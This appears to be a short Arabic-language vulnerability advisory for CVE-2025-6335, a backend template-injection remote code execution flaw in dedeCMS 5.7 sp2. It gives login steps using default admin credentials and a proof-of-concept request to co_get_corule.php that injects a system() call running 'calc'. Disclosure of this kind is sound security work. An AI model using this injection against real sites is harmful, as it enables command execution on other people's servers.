CVE-2025-6335

العنوان: ثغرة تنفيذ أوامر عبر حقن القالب في dedeCMS 5.7 sp2

مؤلف الثغرة: Ewoji

الإصدار المتأثر: dedeCMS < 5.7.2

البائع: Shanghai Zhuozhuo Network Technology Co., LTD

البرنامج: dedeCMS

ملفات الثغرة:

• /include/dedetag.class.php

الوصف:

1. بعد التثبيت، قم بتسجيل الدخول إلى الخلفية

   • استخدم اسم المستخدم وكلمة المرور الافتراضية admin/admin

2. استغلال القالب

   • الوصول إلى واجهة dede/co_get_corule.php
   • مرر المعامل /dede/co_get_corule.php?notes={dede:");system('calc');///}&job=1، وقد يؤدي الوصول مرتين إلى تنفيذ الأمر

3. التحقق من الاستغلال:

   • إذا نجح الحقن، سيقوم المهاجم بتنفيذ أوامر عشوائية

إثبات المفهوم:

/dede/co_get_corule.php?notes={dede:");system('calc');///}&job=1
Accessing twice like this can execute the command

التفاصيل:CVE-2025-6335-dedeCMS حقن القالب في الخلفية RCE